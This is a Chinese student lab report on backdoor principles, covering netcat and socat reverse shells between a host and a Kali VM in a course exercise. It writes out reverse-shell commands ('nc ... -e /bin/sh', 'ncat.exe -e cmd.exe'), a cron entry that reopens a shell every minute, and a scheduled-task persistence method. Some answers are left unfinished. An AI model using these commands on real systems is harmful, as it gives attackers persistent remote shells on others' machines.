1. 程式人生 > 其它 >20192409 潘則宇 實驗二 後門原理與實踐

20192409 潘則宇 實驗二 後門原理與實踐

後門原理與實踐

一、實驗內容

1、使用netcat和socat獲取主機操作Shell,以成功啟動某項任務作為實驗成功的標準;
2、使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell;
3、使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權;
4、使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

名詞解釋:
  提權:顧名思義就是提高自己的許可權,一般用在進行網路入侵和系統入侵之中,通過提權我們可以將原先的普通guest許可權修改為超級管理員許可權。

二、實驗要求

  • 掌握後門原理及免殺技術

  • 回答以下問題:

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

answer:
  首先要了解什麼是後門程式。後門程式一般是指那些繞過安全性控制而獲取對程式或系統訪問權的程式方法。在軟體的開發階段,程式設計師常常會在軟體內建立後門程式以便可以修改程式設計中的缺陷。但是,如果這些後門被其他人知道,或是在釋出軟體之前沒有刪除後門程式,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。
  通過定義我們可以知道,由於作業系統設計的問題,我們系統中本身就帶有後門程式,這是後門進入到我們系統中的其中一種方法。
  除此以外,還可以通過將安裝包、升級包或者是郵件乃至連結等等需要解壓的檔案與後門程式捆綁在一起,這時候一旦檔案被執行,對應的後門程式就能被植入到主機當中,為黑客所使用。

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

answer:
  與上一問中後門進入系統方式比較類似,可以將後門程式與一個連結或者是檔案繫結在一起,然後通過社會工程學攻擊誘導使用者開啟,這時候後門就可以執行起來了。
  在獲得目標伺服器administrator許可權的情況下,可以將後門程式直接加入Windows啟動項並進行監聽,這樣在目標主機每次啟動的時候,後門程式就會啟動。

(3)Meterpreter有哪些給你印象深刻的功能?

  首先Meterpreter可以快速提權,通過Getsystem命令,Meterpret er可以自發嘗試多種方法幫助獲得System許可權。
  同時

(4)如何發現自己有系統有沒有被安裝後門?

三、實驗過程

(1)使用netcat獲取主機Shell,並cron啟動某項任務。

  首先測試主機與Kali虛擬機器之間的連通性,如下圖所示:

圖一 虛擬機器與主機連通性
圖二 主機與虛擬機器連通性
  然後用主機獲取虛擬機器的Shell,在主機中進行監聽,之後再在Linux中進行反彈連線,這樣Shell就成功獲取了;同樣的,虛擬機器也可以獲取主機Shell。 ``` ncat.exe -l -p 8888 //主機進行監聽的程式碼,採用了8888埠 nc 172.16.213.248 8888 -e /bin/sh //虛擬機器進行反彈連線的程式碼 nc -l -p 8888 //虛擬機器進行監聽的程式碼,同樣採用了8888埠 ncat.exe -e cmd.exe 172.16.212.225 8888
圖三 主機獲取虛擬機器Shell  
圖四 虛擬機器獲取主機Shell  
  完成了測試過程,我們就可以步入正題了,我們先使用crontab指令來設定命令,在最後一行新增如下指令,設定完成後可以用crontab -l來檢視:  

          • /bin/netcat 172.16.213.248 9000 -e /bin/sh //五個星號分別指代的是分鐘、小時、日、月、年,所以這條指令會逐分鐘被呼叫
  然後我們在主機命令列就能監聽到虛擬機器的Shell了,這一步的截圖如下所示:  
圖五 crontab指令  
圖六 crontab -l檢視  
圖七 主機監聽結果  
(2)使用socat獲取主機Shell。  
  首先我們開啟計算機管理,在任務計劃程式中建立任務,並對觸發器進行設定,如下圖所示:  
圖八 計算機管理名稱  
圖九 計算機管理時間  
圖十 計算機管理指令碼和引數  
  然後等到圖九中我們預先設定的時間節點,我們就會發現彈出了一個命令列的視窗,如下圖所示:  
圖十一 彈出命令列  
  這時候我們不關閉命令列視窗,在Kali虛擬機器中使用如下socat指令就可以成功獲取主機Shell了。  

socat - tcp:172.16.213.248:9000

圖十二 socat指令  
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell。